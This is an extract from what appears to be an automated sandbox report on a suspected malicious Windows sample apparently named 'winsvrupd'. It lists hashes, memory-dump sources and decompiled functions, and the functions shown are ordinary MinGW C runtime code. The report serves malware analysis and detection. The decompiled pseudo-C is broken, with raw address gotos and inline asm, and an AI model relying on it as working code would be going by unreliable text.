                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 05d9ed4c2a822d4308c25cb0911229a11c904e1211cc12967efc77b11813ddad
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4419363A2C64245E7D1FA25980277D66B1EB80BACF788135DA6C877C6DE7EE4418B00
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5650 Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$CriticalDeleteSectionfree
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2588641659-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f6c2d0e71c51989a3ceb257771279362d4573d9bfece44fbb9d2e022c2e538d2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 87d0729b4a974b065162765df04d549028754a20cbce62c9f0bdebaef3d5fb8e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f6c2d0e71c51989a3ceb257771279362d4573d9bfece44fbb9d2e022c2e538d2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AF31C7A5E2DA0386FA60FF25E85123923B5BF9479CFA41139D54DC22A1CFAEE845C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE64D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE64D0(void* __edx, void* __rax, signed short* __rcx, void* __r8) {
				intOrPtr _t16;
				intOrPtr _t27;
				void* _t38;
				void* _t39;
				void* _t45;

				_t38 = __rax;
				_t27 =  *((intOrPtr*)(__r8 + 0x10));
				_t39 = __r8;
				if (_t27 - __edx >= 0) goto 0x42ce65c0;
				if (_t27 < 0) goto 0x42ce65c0;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0x42ce65e5;
				_t4 = _t45 - 1; // 0x0
				if (r8d - _t27 > 0) goto 0x42ce6583;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t27 <= 0) goto 0x42ce663f;
				if (( *__rcx & 0x0000ffff) != 0) goto 0x42ce653b;
				goto 0x42ce656d;
				if (( *__rcx & 0x0000ffff) == 0) goto 0x42ce656d;
				E00007FF67FF642CE61C0( *__rcx & 0x0000ffff, __r8);
				if (_t4 - 1 > 0) goto 0x42ce6530;
				 *((intOrPtr*)(_t39 + 0xc)) = _t38 - 1;
				if ( *((intOrPtr*)(_t39 + 0xc)) <= 0) goto 0x42ce657a;
				E00007FF67FF642CE61C0(0x20, _t39);
				_t16 =  *((intOrPtr*)(_t39 + 0xc));
				 *((intOrPtr*)(_t39 + 0xc)) = _t38 - 1;
				if (_t16 > 0) goto 0x42ce6560;
				return _t16;
			}








                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64d0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64d8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64e1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64e4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64ec
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce64f5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6507
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce650d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6513
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6515
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce651e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce652a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce652c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6539
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6542
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6549
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6553
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6556
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6568
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce656d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6575
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6578
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6582

                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: %*.*s$%-*.*s$%.*s
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-4054516066
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f9eae9fc57abe2ceec4b2940aac0275ba58e9f9ee47d63db3bc154d242646517
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 60ef571124a0c1a2aaa06fac4913fe07e79ed326c9adb2dfe0ed42987f4005ca
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f9eae9fc57abe2ceec4b2940aac0275ba58e9f9ee47d63db3bc154d242646517
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02416EB2B2D35685E7E0FE25940227976B4EB40B5CF74C134DF098A6C9EEAEA4418B40
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE57F0 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeavecalloc
                                                                                                                                                                                                                                                                                                                                                      • String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 876395260-799109717
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 21cca0e36fd169c8b7f53a5cd511de4e37daf6ec27ab695e2a2822ced4a8d3a2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8882ad73418b86ca6d3fd38c6008020fa909cf1125c7b3a8e6166ce1cdd65d86
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 21cca0e36fd169c8b7f53a5cd511de4e37daf6ec27ab695e2a2822ced4a8d3a2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 13013921A1C65785FA50BB56F8413B423A0BF98BC8FA85038C91CC2391EEAEE985C300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4DD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4DD0(void* __eax) {

				if ( *0x42edc0a0 == 0) goto 0x42ce4e03;
				return __eax;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4df0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4e02

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00007FF642EDCC28,00007FF642EDC090,00007FF642EDCC20,00007FFA26C83CA0,?,?,?,00000001,00007FF642CE124C), ref: 00007FF642CE4F8D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00007FF642CE4BD0: VirtualQuery.KERNEL32 ref: 00007FF642CE4C7B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • %d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF642CE5123
                                                                                                                                                                                                                                                                                                                                                      • Unknown pseudo relocation protocol version %d., xrefs: 00007FF642CE5132
                                                                                                                                                                                                                                                                                                                                                      • Unknown pseudo relocation bit size %d., xrefs: 00007FF642CE510A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Virtual$ProtectQuery
                                                                                                                                                                                                                                                                                                                                                      • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1027372294-1286557213
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7d3a8ab7e42b7b980ecd4a94f8c09b36446b533d081bc78aa1a8b0f06c1df7fb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3c5be3438729b6835495607d2fbc8b3343dc00f043367b490d3ac3e835d498a7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7d3a8ab7e42b7b980ecd4a94f8c09b36446b533d081bc78aa1a8b0f06c1df7fb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2091AE22F1C64286EAB0FB2199027796670BF45BDCF644235DA2D877C4DEBEE441C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CEACD0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Byte$CharLeadMultiWide
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2561704868-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2f417cd35d4657d96eacbe1ed95beccf3def7be6e38c8ee7609a729162687cff
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b285f68d7225a8d482cc4fee1475d2565bafa99e2270d496f9ff76d8f009286e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f417cd35d4657d96eacbe1ed95beccf3def7be6e38c8ee7609a729162687cff
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3431A772A0C2818AE7B0BF25B8013AD76A0BB94798F644135EAD8C77D4CFBED555CB00
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5E60 Relevance: 6.0, APIs: 4, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: AllocCreateErrorLastSemaphoreabort
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4146797221-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a3c93cc115e5e2f6a7d2ca3c8a2447ba4f0d8753f14f1b6d4ad76aef6e39c7a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bdcbf62b158acf3ea6b8adcf277a682c62e7077ac076e87370bcfd54d8598e17
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a3c93cc115e5e2f6a7d2ca3c8a2447ba4f0d8753f14f1b6d4ad76aef6e39c7a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 92F0F871E2D64385F6A4FB75688663922B57F9539CFB02238D82DC22E0EEBEE1454610
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 25%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4A40() {
				intOrPtr* _t8;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t8 - 6 > 0) goto 0x42ce4b30;
				goto __rax;
			}




                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4a46
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4a4b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4a50
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4a59
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4a6f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-3474627141
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c39fdc0fbebd2c500fc67c7a8d0b1b2ca71b819b6230ae1247f7327ac6b9faa7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f2c60e70910766c587b1b1602313ba2b5916ce96d7d4905efba90e0fd43ad462
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c39fdc0fbebd2c500fc67c7a8d0b1b2ca71b819b6230ae1247f7327ac6b9faa7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1701E52280CE89C6D252AF1CD8421FA7374FF9975EF245325EB8C26260DF6AE543C700
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4B10() {

				goto 0x42ce4a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4283191376
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d9fe79e5d420b1364d547e9ca1a9d51b38dc84c4d623aab05ab48970c17eb5b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 84200fdcf30f63e0725282319bcf718604a499f243b0bf43dd11cee02c164407
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d9fe79e5d420b1364d547e9ca1a9d51b38dc84c4d623aab05ab48970c17eb5b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 10F0C21280CE4982D251EF1CA8401FAB330FF8DB8DF285329EB8C36160DF2AE6428300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4B00() {

				goto 0x42ce4a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
